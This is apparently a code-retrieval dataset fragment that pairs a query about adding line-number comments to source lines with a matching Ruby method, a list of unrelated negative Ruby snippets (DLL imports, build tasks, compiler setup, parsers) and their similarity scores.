@@lowDLL.import(\"Geometry_AddPolygon\", \"lllllll\")\n @@lowDLL.import(\"Geometry_GetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_GetMaxPolygons\", \"lll\")\n @@lowDLL.import(\"Geometry_GetNumPolygons\", \"ll\")\n @@lowDLL.import(\"Geometry_GetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_GetPolygonNumVertices\", \"lll\")\n @@lowDLL.import(\"Geometry_GetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_GetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_GetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_GetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_GetUserData\", \"lp\")\n @@lowDLL.import(\"Geometry_Release\", \"l\")\n @@lowDLL.import(\"Geometry_Save\", \"lll\")\n @@lowDLL.import(\"Geometry_SetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_SetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_SetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_SetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_SetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_SetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_SetUserData\", \"ll\")\n \n # Reverb3D\n @@lowDLL.import(\"Reverb3D_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_GetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetUserData\", \"lp\")\n @@lowDLL.import(\"Reverb3D_Release\", \"l\")\n @@lowDLL.import(\"Reverb3D_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_SetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetUserData\", \"ll\")\n \n # Debugging functions\n # @@lowDLL.import(\"Debug_Initialize\", \"llll\")\n # @@lowDLL.import(\"File_GetDiskBusy\", \"l\")\n # @@lowDLL.import(\"File_SetDiskBusy\", \"l\")\n # @@lowDLL.import(\"Memory_GetStats\", \"lll\")\n # @@lowDLL.import(\"Memory_Initialize\", \"llllll\")\n end",
"def generate_profile_sdk\n generate_modules\n generate_module_definition\n generate_client\n end",
"def initvars\n # The list of overrides. This is used to cache overrides on objects\n # that don't exist yet. We store an array of each override.\n @resource_overrides = Hash.new do |overs, ref|\n overs[ref] = []\n end\n\n # The list of collections that have been created. This is a global list,\n # but they each refer back to the scope that created them.\n @collections = []\n\n # The list of relationships to evaluate.\n @relationships = []\n\n # For maintaining the relationship between scopes and their resources.\n @catalog = Puppet::Resource::Catalog.new(@node.name, @node.environment, @code_id)\n\n # MOVED HERE - SCOPE IS NEEDED (MOVE-SCOPE)\n # Create the initial scope, it is needed early\n @topscope = Puppet::Parser::Scope.new(self)\n\n # Initialize loaders and Pcore\n @loaders = Puppet::Pops::Loaders.new(environment)\n\n # Need to compute overrides here, and remember them, because we are about to\n # enter the magic zone of known_resource_types and initial import.\n # Expensive entries in the context are bound lazily.\n @context_overrides = context_overrides()\n\n # This construct ensures that initial import (triggered by instantiating\n # the structure 'known_resource_types') has a configured context\n # It cannot survive the initvars method, and is later reinstated\n # as part of compiling...\n #\n Puppet.override( @context_overrides , _(\"For initializing compiler\")) do\n # THE MAGIC STARTS HERE ! This triggers parsing, loading etc.\n @catalog.version = environment.known_resource_types.version\n @loaders.pre_load\n end\n\n @catalog.add_resource(Puppet::Parser::Resource.new(\"stage\", :main, :scope => @topscope))\n\n # local resource array to maintain resource ordering\n @resources = []\n\n # Make sure any external node classes are in our class list\n if @node.classes.class == Hash\n @catalog.add_class(*@node.classes.keys)\n else\n @catalog.add_class(*@node.classes)\n end\n\n @catalog_validators = []\n end",
"def local_variables() end",
"def calls; end",
"def calls; end",
"def setup( body = '')\n function_template( 'dtrace:::BEGIN', body )\n end",
"def __loading(file)\n __trace { \"====== #{__loading_level}#{file}\" }\nend",
"def common_build\n puts \"common_build dir=#{pwd} #{SHOES_TGT_ARCH}\"\n #mkdir_p \"#{TGT_DIR}/ruby\"\n #cp_r \"#{EXT_RUBY}/lib/ruby/#{RUBY_V}\", \"#{TGT_DIR}/ruby/lib\"\n %w[req/ftsearch/lib/* req/rake/lib/*].each do |rdir|\n FileList[rdir].each { |rlib| cp_r rlib, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}\" }\n end\n %w[req/ftsearch/ext/ftsearchrt req/chipmunk/ext/chipmunk].\n #%w[req/binject/ext/binject_c req/ftsearch/ext/ftsearchrt req/bloopsaphone/ext/bloops req/chipmunk/ext/chipmunk].\n each { |xdir| copy_ext xdir, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}/#{SHOES_TGT_ARCH}\" }\n\n gdir = \"#{TGT_DIR}/lib/ruby/gems/#{RUBY_V}\"\n {'hpricot' => 'lib', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n #{'hpricot' => 'lib', 'json' => 'lib/json/ext', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n spec = eval(File.read(\"req/#{gemn}/gemspec\"))\n mkdir_p \"#{gdir}/specifications\"\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/lib\"\n FileList[\"req/#{gemn}/lib/*\"].each { |rlib| cp_r rlib, \"#{gdir}/gems/#{spec.full_name}/lib\" }\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/#{xdir}\"\n FileList[\"req/#{gemn}/ext/*\"].each { |elib| copy_ext elib, \"#{gdir}/gems/#{spec.full_name}/#{xdir}\" }\n cp \"req/#{gemn}/gemspec\", \"#{gdir}/specifications/#{spec.full_name}.gemspec\"\n end\n end",
"def setup\n build_defaults\n build_site_stub\n build_context_stub\n end",
"def stubs; end",
"def untrace_var(*rest) end",
"def create_library_list\n printer = @output_directory.nil? ? Printer.new : FilePrinter.new(\"#{@output_directory}/libraries.make\")\n @project.libraries.each do |lib|\n library_sources_file = \"$(path_prefix)/#{lib.name}/library_sources.make\"\n printer.output <<~HEREDOC\n #{library_sources_file} : $(project_root_dir)/#{lib.path}/sources.rb\n \\t@set -euo pipefail; cd $(project_root_dir);\\\\\n \\tmkdir -p $(@D);\\\\\n \\techo \\\"Generating $@\\\";\\\\\n \\tmerle library_sources #{lib.name} > $@\n \\nlibrary_sources += #{library_sources_file}\n HEREDOC\n end\n printer.output 'all_libraries := ' + @project.libraries.map{ |lib| \"$(path_prefix)/#{lib.name}.lib\" }.join(\" \")\n end",
"def lib_path=(_arg0); end",
"def lib_path=(_arg0); end",
"def lib_path=(_arg0); end",
"def initialize_methods_etc\n @method_list = []\n @attributes = []\n @aliases = []\n @requires = []\n @includes = []\n @extends = []\n @constants = []\n @external_aliases = []\n @current_line_visibility = nil\n\n # This Hash maps a method name to a list of unmatched aliases (aliases of\n # a method not yet encountered).\n @unmatched_alias_lists = {}\n\n @methods_hash = {}\n @constants_hash = {}\n\n @params = nil\n\n @store ||= nil\n end",
"def early_inline(fname, abi, t, a, link_out, code, label)\n # Fresh labels, scalar variables and vector variables on demand.\n # Asking for l[x] the first time generates a new object\n # of the right type. Asking again fetches the same object.\n l = Hash.new{|ht,k| ht[k] = new_label}\n l[0] = label\n l[-1] = link_out\n s = Hash.new{|ht,k| ht[k] = Variable.fresh(:scalar)}\n v = Hash.new{|ht,k| ht[k] = Variable.fresh(:vector)}\n # This special object makes it possible to specify code\n # expansion in a very convenient way.\n # The definition is pretty ugly, don't worry - it just works :-)\n # RUBY 1.9: For Ruby 1.9 .send needs to be changed to .funcall (or .fcall)\n c = Object.new\n (class << c; self; end).send(:define_method, :[]=) {|lab, dsc|\n code[l[lab]] = Code.new(dsc[0], [], dsc[1], *dsc[2..-1].map{|i| l[i]})\n }\n\n case fname\n when 'length'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:dp3, [s[0], a[0], a[0]], 1]\n c[1] = [:rsq, [s[1], s[0]], 2]\n c[2] = [:rcp, [t, s[1]], -1]\n when 'radians'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:mul, [t, a[0], Math::PI/180.0], -1]\n when 'degrees'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:mul, [t, a[0], 180.0/Math::PI], -1]\n when 'inversesqrt'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:rsq, [t, a[0]], -1]\n when 'sqrt'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:rsq, [s[0], a[0]], 1]\n c[1] = [:rcp, [t, s[0]], -1]\n when 'distance'\n raise \"#{fname} function should have 2 arguments\" unless a.size == 2\n c[0] = [:sub, [v[0], a[0], a[1]], 1]\n c[1] = [:dp3, [s[0], v[0], v[0]], 2]\n c[2] = [:rsq, [s[1], s[0]], 3]\n c[3] = [:rcp, [t, s[1]], -1]\n when 'normalize'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n # v1 = arg[0] . arg[0]\n # target = rsq(v1) * arg[0]\n c[0] = [:dp3, [s[0], a[0], a[0]], 1]\n c[1] = [:rsq, [s[1], s[0]], 2]\n c[2] = [:mul, [t, a[0], s[1]], -1]\n else\n #code[l[0]] = Code.new(:call, [], [fname, abi, target, *args], l[-1])\n c[0] = [:call, [fname, abi, t, *a], -1]\n end\nend",
"def tld; end",
"def tld; end",
"def common_function_link\n $tracer.trace(\"GlobalFunctions: #{__method__}, Line #{__LINE__}\")\n return common_functions = CommonFunctionLink.new\n end",
"def add_libs_to_classpath(libs)\n fail \"Method 'add_libs_to_classpath' must be defined\"\n end",
"def trace( *args )\n\t\tRake.application.trace( *args ) if Rake.application.options.trace\n\tend",
"def trace(uri, options = T.unsafe(nil)); end",
"def statement_classes(_examples = nil)\n # binding.pry\n\n # Find the constants\n b = Object.const_set(\n self.class.to_s + rand(4_000_000).to_s,\n Class.new do\n include Cauldron::Operator\n include Cauldron::DynamicOperatorModule\n\n attr_reader :indexes\n attr_accessor :failed_uses\n\n def initialize(indexes)\n @indexes = indexes\n @failed_uses = []\n end\n\n def self.context_instances(contexts)\n temp = []\n contexts.each do |context|\n temp << context.keys.collect(&:to_s).select { |x| x.match(/var\\d/) }\n end\n results = temp.flatten.uniq\n\n variable_numbers = results.collect { |x| x.match(/var(\\d+)/)[1] }\n # TODO: Presumes that only one variable is passed\n variable_numbers.collect { |x| new([x.to_i]) }\n end\n\n def self.extend_actualized_composite(x, container, examples, point)\n cloned_container = container.clone_solution\n cloned_container.add_statement_at(x, point)\n cloned_container\n Cauldron::ActualizedComposite.new(cloned_container, examples)\n end\n\n def rip2\n %{\n def function(var0)\n #{Sorcerer.source(to_sexp(Cauldron::Scope.new(['var0']), []), indent: true)}\n end\n }\n end\n end\n )\n b.class_eval(Sorcerer.source(sexp_methods, indent: true))\n [b]\n end",
"def call(env); end",
"def call(env); end",
"def call(env); end",
"def call(env); end",
"def call(env); end",
"def call(env); end",
"def call(env); end",
"def retrieve_func_calls\n\t$class_map.each do |keyc, valuec|\n\t\t#puts \"keyc is : #{keyc}\"\n\t\tif $const and !$const.include?keyc\n\t\t\tputs \"don't consider #{keyc}\"\n\t\t\tnext\n\t\tend\n\t\tvaluec.getMethods.each do |key, value|\n\t\t\t#puts \"Investigating #{keyc} . #{key}\"\n\t\t\tvalue.getCalls.each do |each_call|\n\t\t\t\teach_call.findCaller(keyc, key)\n\t\t\t\t#each_call.print\n\t\t\t\t#puts \"keyc #{keyc} key: #{key}\"\n\t\t\t\t#if each_call.caller == nil\n\t\t\t\t#\tputs \"\\t\\tcaller not found: #{each_call.getObjName} . #{each_call.getFuncName}\"\n\t\t\t\t#elsif each_call.caller.getMethod(each_call.getFuncName) == nil and each_call.isQuery == false and each_call.isField == false\n\t\t\t\t#\tputs \"\\t\\t* * function not found: #{each_call.getObjName} . #{each_call.getFuncName}\"\n\t\t\t\t#end\n\t\t\tend\n\t\tend\n\tend\nend",
"def output_expectations_libraries(data)\n dw = dummy_writer\n output_file \"blah/lib/google/#{data[:kind][1..-1]}/network/base.rb\", dw\n output_file \"blah/lib/google/#{data[:kind][1..-1]}/network/delete.rb\", dw\n output_file \"blah/lib/google/#{data[:kind][1..-1]}/network/get.rb\", dw\n output_file \"blah/lib/google/#{data[:kind][1..-1]}/network/post.rb\", dw\n output_file \"blah/lib/google/#{data[:kind][1..-1]}/network/put.rb\", dw\n output_file 'blah/spec/network_delete_spec.rb', dw\n output_file 'blah/spec/network_get_spec.rb', dw\n output_file 'blah/spec/network_post_spec.rb', dw\n output_file 'blah/spec/network_put_spec.rb', dw\n output_file 'blah/spec/network_blocker.rb', dw\n output_file 'blah/spec/network_blocker_spec.rb', dw\n end",
"def get_calling_script_hash(*params); raise('Stub or mock required.') end",
"def prep_variables\n end",
"def c_gen_dispatcher(name, field, groups)\n\n puts \"static void decode_#{name}(#{$cargs_proto})\"\n puts \"{\"\n puts \" switch (get#{field}(op))\"\n puts \" {\"\n\n groups.each{|grp,vals|\n vals.each{|v|\n puts \" case #{v}:\"\n }\n puts \" decode_#{grp}(#{$cargs});\"\n puts \" break;\"\n }\n\n puts \" default:\"\n puts \" /* unreachable */\"\n puts \" abort();\"\n puts \" }\"\n puts \"}\"\n puts \"\"\nend",
"def make; end",
"def assemble\n # var a, b, c;\n \"var \" + @locals.join(\", \") + \";\\n\" +\n @code.join\n end",
"def boot_functions!\n # very fiddly chicken 'n egg problem. Functions need to be in the right order, and in fact we\n # have to define some dummies, just for the others to compile\n # TODO go through the virtual parfait layer and adjust function names to what they really are\n space = @space.get_class_by_name(:Space)\n space.instance_type.add_instance_method Builtin::Space.send(:main, nil)\n\n obj = @space.get_class_by_name(:Object)\n [ :get_internal_word , :set_internal_word ].each do |f|\n obj.instance_type.add_instance_method Builtin::Object.send(f , nil)\n end\n obj = @space.get_class_by_name(:Kernel)\n # create __init__ main first, __init__ calls it\n [:exit , :__init__ ].each do |f|\n obj.instance_type.add_instance_method Builtin::Kernel.send(f , nil)\n end\n\n obj = @space.get_class_by_name(:Word)\n [:putstring , :get_internal_byte , :set_internal_byte ].each do |f|\n obj.instance_type.add_instance_method Builtin::Word.send(f , nil)\n end\n\n obj = @space.get_class_by_name(:Integer)\n [ :putint, :mod4, :div10].each do |f| #mod4 is just a forward declaration\n obj.instance_type.add_instance_method Builtin::Integer.send(f , nil)\n end\n end",
"def spy_array(x)\n #spy_repeater\n p real_entry\n p alias_entry\nend",
"def generate_libraries_list\n libraries = options.objects if options.objects\n generate_full_list(libraries, 'Library', 'libraries')\nend",
"def variables; end",
"def variables; end",
"def define_common_library_task(namespace, output_dir, extra_compiler_flags = nil)\n\tcomponents = {\n\t\t'Logging.o' => %w(\n\t\t\tLogging.cpp\n\t\t\tLogging.h),\n\t\t'Utils/CachedFileStat.o' => %w(\n\t\t\tUtils/CachedFileStat.cpp\n\t\t\tUtils/CachedFileStat.h\n\t\t\tUtils/CachedFileStat.hpp),\n\t\t'Utils/Base64.o' => %w(\n\t\t\tUtils/Base64.cpp\n\t\t\tUtils/Base64.h),\n\t\t'Utils/MD5.o' => %w(\n\t\t\tUtils/MD5.cpp\n\t\t\tUtils/MD5.h),\n\t\t'Utils/SystemTime.o' => %w(\n\t\t\tUtils/SystemTime.cpp\n\t\t\tUtils/SystemTime.h),\n\t\t'Utils/StrIntUtils.o' => %w(\n\t\t\tUtils/StrIntUtils.cpp\n\t\t\tUtils/StrIntUtils.h),\n\t\t'Utils/IOUtils.o' => %w(\n\t\t\tUtils/IOUtils.cpp\n\t\t\tUtils/IOUtils.h),\n\t\t'Utils.o' => %w(\n\t\t\tUtils.cpp\n\t\t\tUtils.h\n\t\t\tUtils/Base64.h\n\t\t\tUtils/StrIntUtils.h\n\t\t\tResourceLocator.h),\n\t\t'AccountsDatabase.o' => %w(\n\t\t\tAccountsDatabase.cpp\n\t\t\tAccountsDatabase.h\n\t\t\tRandomGenerator.h\n\t\t\tConstants.h\n\t\t\tUtils.h),\n\t\t'AgentsStarter.o' => %w(\n\t\t\tAgentsStarter.cpp\n\t\t\tAgentsStarter.h\n\t\t\tAgentsStarter.hpp\n\t\t\tResourceLocator.h\n\t\t\tMessageClient.h\n\t\t\tMessageChannel.h\n\t\t\tServerInstanceDir.h\n\t\t\tUtils/VariantMap.h),\n\t\t'AgentBase.o' => %w(\n\t\t\tAgentBase.cpp\n\t\t\tAgentBase.h\n\t\t\tUtils/VariantMap.h),\n\t\t#'BCrypt.o' => %w(\n\t\t#\tBCrypt.cpp\n\t\t#\tBCrypt.h\n\t\t#\tBlowfish.h\n\t\t#\tBlowfish.c)\n\t}\n\t\n\tstatic_library = \"#{output_dir}.a\"\n\t\n\t# Define compilation targets for the object files in libpassenger_common.\n\tflags = \"-Iext -Iext/common #{LIBEV_CFLAGS} #{extra_compiler_flags} \"\n\tflags << \"#{PlatformInfo.portability_cflags} #{EXTRA_CXXFLAGS}\"\n\tcommon_object_files = []\n\tcomponents.each_pair do |object_name, dependencies|\n\t\tsource_file = dependencies[0]\n\t\tobject_file = \"#{output_dir}/#{object_name}\"\n\t\tcommon_object_files << object_file\n\t\tdependencies = dependencies.map do |dep|\n\t\t\t\"ext/common/#{dep}\"\n\t\tend\n\t\t\n\t\tfile object_file => dependencies do\n\t\t\tsh \"mkdir -p #{output_dir}\" if !File.directory?(output_dir)\n\t\t\tsh \"mkdir -p #{output_dir}/Utils\" if !File.directory?(\"#{output_dir}/Utils\")\n\t\t\tcompile_cxx(\"ext/common/#{source_file}\", \"#{flags} -o #{object_file}\")\n\t\tend\n\tend\n\t\n\tfile(static_library => common_object_files) do\n\t\tcreate_static_library(static_library, \"#{output_dir}/*.o #{output_dir}/Utils/*.o\")\n\tend\n\t\n\ttask \"#{namespace}:clean\" do\n\t\tsh \"rm -rf #{static_library} #{output_dir}\"\n\tend\n\t\n\treturn static_library\nend",
"def calls_sitta_init section\n if !instance_variable_defined?(\"@#{section}_calls\")\n instance_variable_set(\"@#{section}_calls\", [])\n end\n end",
"def make_runnable(code)\n return %Q[\nimport webpiraten as garbledwebpiratenlibraryname\nfrom webpiraten import Dir\nfrom webpiraten import Obj\nfrom webpiraten import look\nfrom webpiraten import move\nfrom webpiraten import put\nfrom webpiraten import take\nfrom webpiraten import turn\n\ngarbledwebpiratenlibraryname.configure_prefix(\"#{VM_PREFIX}\")\n\n] + code\n end",
"def new_function_text(line, matchdata, randomized_name)\n \"#{line}\n record = {}\n method(__method__).parameters.each{|arg| record[arg[1].to_s] = (eval arg[1].to_s)}\n RECORDER.push([\\\"#{matchdata[2]}\\\", record, \\\"called\\\"])\n x = #{randomized_name}(*(record.values))\n RECORDER.push([\\\"#{matchdata[2]}\\\", x, \\\"returned\\\"])\n return x\nend\n\n#{matchdata[1]}#{randomized_name}#{matchdata[3]}\n \"\nend",
"def compilevardec\n\n end",
"def backtrace_includes; end",
"def remove_trace_func\n Kernel.clear_trace_func\n end",
"def runtime; end",
"def add_debug_symbols(options)\n debug = options[:debug]\n return unless debug\n\n @linker.assemblers.each do |asm|\n meth = asm.callable\n asm.instructions.each do |label|\n next unless label.is_a?(Risc::Label)\n add_symbol \"#{meth.self_type.name}_#{meth.name}:Label=#{label.name}\" , Risc::Position.get(label).at\n end\n meth.binary.each_block do |code|\n label = \"BinaryCode_#{meth.name}\"\n add_symbol label , Risc::Position.get(code).at\n end\n end\n @linker.object_positions.each do |slot , position|\n next if slot.is_a?(Parfait::BinaryCode)\n next if slot.class.name.include?(\"Arm\")\n if( slot.respond_to? :rxf_reference_name )\n label = \"#{slot.rxf_reference_name}\"\n else\n label = \"#{slot.class.name}::#{Risc::Position.get(slot)}\"\n end\n label += \"=#{slot}\" if slot.is_a?(Symbol) or slot.is_a?(String)\n add_symbol label , Risc::Position.get(slot).at\n end\n end",
"def ld65_lib_paths(*more_paths)\n fail \"Sequence error: ld65_lib_paths\" unless [:create, :link].include?(@phase)\n append_option(:lib_paths, more_paths)\n @phase = :link\n end",
"def dump()\n puts \"fan_home = #@fan_home\"\n puts \"fan_bin = #@fan_bin\"\n puts \"fan_lib = #@fan_lib\"\n puts \"fan_lib_fan = #@fan_lib_fan\"\n puts \"fan_lib_java = #@fan_lib_java\"\n puts \"fan_lib_net = #@fan_lib_net\"\n puts \"fan_src = #@fan_src\"\n puts \"src_jfan = #@src_jfan\"\n puts \"src_jsfan = #@src_jsfan\"\n puts \"src_nfan = #@src_nfan\"\n puts \"java_home = #@java_home\"\n puts \"javac = #@javac\"\n end",
"def define_helpers; end",
"def define_python_methods\r\n @p.Execute(\"\r\ndef foo(x):\r\n return x + x\r\n\r\ndef bar(x):\r\n return x * x\r\n\"\r\n )\r\nend",
"def trace\n DSL.new(@source.append(Trace.new))\n end"
] |
[
"0.5802079",
"0.56544626",
"0.5585495",
"0.55217105",
"0.5338705",
"0.5325671",
"0.53145546",
"0.530437",
"0.52758086",
"0.5267248",
"0.52609366",
"0.5257754",
"0.52437407",
"0.5212706",
"0.5188268",
"0.51394105",
"0.51366735",
"0.51272917",
"0.5121431",
"0.5096113",
"0.50845855",
"0.5084482",
"0.5082204",
"0.50650126",
"0.5037419",
"0.50337154",
"0.50333434",
"0.5029285",
"0.50282586",
"0.50261",
"0.50197226",
"0.50197226",
"0.5010314",
"0.5010314",
"0.50097287",
"0.50044173",
"0.5001051",
"0.4998212",
"0.49942172",
"0.4989491",
"0.49848247",
"0.49818325",
"0.49758023",
"0.49741486",
"0.49660796",
"0.4950555",
"0.49498484",
"0.49498484",
"0.4944879",
"0.49441805",
"0.49382097",
"0.49344543",
"0.49292696",
"0.49262363",
"0.4925463",
"0.49244153",
"0.49244153",
"0.49244153",
"0.49240315",
"0.4904683",
"0.4902648",
"0.4902648",
"0.4896343",
"0.48867777",
"0.48844686",
"0.48796567",
"0.48791447",
"0.4871403",
"0.4871403",
"0.4871403",
"0.4871403",
"0.4871403",
"0.4871403",
"0.4871403",
"0.48681432",
"0.48680082",
"0.48655266",
"0.48637444",
"0.4850346",
"0.48476154",
"0.4845212",
"0.4844381",
"0.48398143",
"0.48293218",
"0.48261768",
"0.48261768",
"0.48198968",
"0.48057294",
"0.48052746",
"0.48026696",
"0.47975758",
"0.47905812",
"0.47882783",
"0.47779423",
"0.47658303",
"0.47655517",
"0.47604448",
"0.47486165",
"0.47406298",
"0.47389814"
] |
0.6164956
|
0
|
Returns a version of the line with a line number comment added, if this line should in fact have the line number comment added. Otherwise, simply returns the line as is. This will also add a line number comment to a commentonly line, but that doesn't hurt.
|
def possibly_add_line_number_comment(line)
if @state[:ll_end]
return line + " # WPLINE_#{@state[:line_number]}"
else
return line
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comment_line?(line_source); end",
"def comment_line?(line_source); end",
"def comment_line?(line_source)\n /^\\s*#/.match?(line_source)\n end",
"def line_comments_option; end",
"def is_comment?(line)\n line =~ /^\\s*#/\n end",
"def is_comment?(line)\n true if line =~ /^\\#.*$/\n end",
"def existing_comment_option\n (options[:new_comments_only] && prev_line_comment) || (options[:inline] && original_line_has_comment?)\n end",
"def verify_comment(line) \n end",
"def extract_comment(line)\n if is_comment? line\n clean_line = line.strip\n start_offset = comment_start.length\n end_offset = clean_line.length - comment_end.length - 1\n clean_line[start_offset..end_offset].strip\n end\n end",
"def comment\n comment = buffer.options.comment_line.to_s\n indent = nil\n lines = []\n\n each_line do |line, fc, tc|\n line_fc = \"#{line}.#{fc}\"\n line_tc = \"#{line}.#{tc}\"\n\n next if buffer.at_end == line_tc\n\n lines << line\n\n next if indent == 0 # can't get lower\n\n line = buffer.get(\"#{line}.#{fc}\", \"#{line}.#{tc}\")\n\n next unless start = line =~ /\\S/\n\n indent ||= start\n indent = start if start < indent\n end\n\n indent ||= 0\n\n buffer.undo_record do |record|\n lines.each do |line|\n record.insert(\"#{line}.#{indent}\", comment)\n end\n end\n end",
"def line_one\n return @line_one\n end",
"def line_number\n @line_number_overwrite || default_line_number\n end",
"def read_line_comment(token)\n token.kind = :line_comment\n read_next() while (current = peek_next()) && current != ?\\n\n token.value = @source[token.from .. @marker.source_index] if !@skip_comments\n end",
"def line_at(filename, line_number) # :nodoc:\n line = LineCache::getline(filename, line_number, @reload_on_change)\n return \"\\n\" unless line\n return line.gsub(/^\\s+/, '').chomp\n end",
"def has_comment?(line)\n line =~ /#[^{]/\n end",
"def irrelevant_line?(source_line)\n source_line.blank? || !count_comments? && comment_line?(source_line)\n end",
"def strip_comments(line)\n if line.include?('#')\n line.split(\"#\", 2)[0]\n else\n line\n end\n end",
"def lex_en_line_comment; end",
"def lex_en_line_comment; end",
"def lex_en_line_comment; end",
"def lex_comment line\n # do nothing\n end",
"def comment\n multi_line_comment || single_line_comment\n end",
"def commented?(entity)\n line(number: entity.last_line).end_with?(entity.ending)\n end",
"def line_one\n @line_one\n end",
"def is_comment(line)\n result = false\n # If source supports single line comments\n if comment_symbols[:single_line]\n result ||= line =~ /^\\s*#{Regexp.escape(comment_symbols[:single_line])}/\n end\n\n # If source supports multi-line comments\n if comment_symbols[:multiline]\n result ||= line =~ /^\\s*#{Regexp.escape(comment_symbols[:multiline][:begin])}/\n end\n result\n end",
"def single_line_comment\n # //\n if @codes[@pos] == 0x2f and @codes[@pos + 1] == 0x2f\n @pos += 2\n pos0 = @pos\n while (code = @codes[@pos]) and !line_terminator?(code)\n @pos += 1\n end\n return ECMA262::SingleLineComment.new(@codes[pos0...@pos].pack(\"U*\"))\n else\n nil\n end\n end",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def mark_commented_lines\n [].tap do |reg|\n in_block_comment = false\n line_no = 0\n start_block = 0\n end_block = 0\n @source.each_line do |line|\n line_no = line_no+1\n\n start_block = line_no if !in_block_comment and line =~ @start_block_comment_regex\n end_block = line_no if start_block < line_no and line =~ @end_block_comment_regex\n end_block = line_no if line =~ @oneline_block_comment_regex\n\n in_block_comment = end_block < start_block\n\n reg << line_no if in_block_comment or end_block == line_no or line =~ @comment_regex\n end\n end\n end",
"def get_line_content(patch, line_number)\n patch.\n changed_lines.\n detect { |line| line.number == line_number }.\n instance_variable_get(:@content)\n end",
"def line(node = @current_node)\n\t\treturn is_valid(node) ? node.line : nil\n\tend",
"def line_id\n @line_number - 1\n end",
"def uncomment! \n\traise \"Cannot change a frozen text.\" if @frozen\n\t@[email protected]_line.each_with_object([]) do |line,new_content|\n\t line.chomp! # remove the newline if any\n\t m=line.match(TexLineComment) # check if the whole line is commented\n\t next unless m.nil? # read the next line if the whole line is commented\n\t m=line.match(TeXComment) # match comment if any\n\t new_content << (m.nil? ? line : m.pre_match) # keep only the pre-match\n\tend.join(\"\\n\")\n\treturn self\n end",
"def comment?\n @kind == :line_comment || @kind == :block_comment\n end",
"def lex_en_line_comment=(_arg0); end",
"def lex_en_line_comment=(_arg0); end",
"def lex_en_line_comment=(_arg0); end",
"def line(number); end",
"def line_numbering=(on_or_not)\n s9_document_builder.setLineNumbering(on_or_not)\n end",
"def list_item_line_number\n in_special_list? ? @list_item_line_number : nil\n end",
"def line_numbering?\n s9_document_builder.isLineNumbering\n end",
"def new_comment comment, line_no = nil\n c = RDoc::Comment.new comment, @top_level, :ruby\n c.line = line_no\n c.format = @markup\n c\n end",
"def line_number_style\n if opts.present?(:'base-one')\n :'base-one'\n elsif opts.present?(:'line-numbers')\n :'line-numbers'\n else\n nil\n end\n end",
"def comment_describing(line_number)\n self.class.comment_describing(raw, line_number)\n end",
"def comment_describing(line_number)\n self.class.comment_describing(raw, line_number)\n end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def with_line_numbers(y_n = true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def render_comment(line)\n conditional, content = line.scan(COMMENT_REGEX)[0]\n content.strip!\n\n if @block_opened && !content.empty?\n raise SyntaxError.new('Illegal Nesting: Nesting within a tag that already has content is illegal.')\n end\n\n try_one_line = !content.empty?\n push_silent \"_hamlout.open_comment(#{try_one_line}, #{conditional.inspect}, #{@output_tabs})\"\n @output_tabs += 1\n push_and_tabulate([:comment, !conditional.nil?])\n if try_one_line\n push_text content\n close\n end\n end",
"def with_line_numbers(y_n=true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def with_lineno?(node); end",
"def line_number\n number[6..-1]\n end",
"def line_num; end",
"def line_numbering(value)\n @document_builder.line_numbering = value\n end",
"def add_line(line)\n unless @parsing\n if line =~ /^(---|\\+\\+\\+) (.*)$/\n self.file_name = $2\n elsif line =~ /^@@ (\\+|\\-)(\\d+)(,\\d+)? (\\+|\\-)(\\d+)(,\\d+)? @@/\n @line_num_l = $2.to_i\n @line_num_r = $5.to_i\n @parsing = true\n end\n else\n if %r{^[^\\+\\-\\s@\\\\]}.match?(line)\n @parsing = false\n return false\n elsif line =~ /^@@ (\\+|\\-)(\\d+)(,\\d+)? (\\+|\\-)(\\d+)(,\\d+)? @@/\n @line_num_l = $2.to_i\n @line_num_r = $5.to_i\n else\n parse_line(line, @type)\n end\n end\n return true\n end",
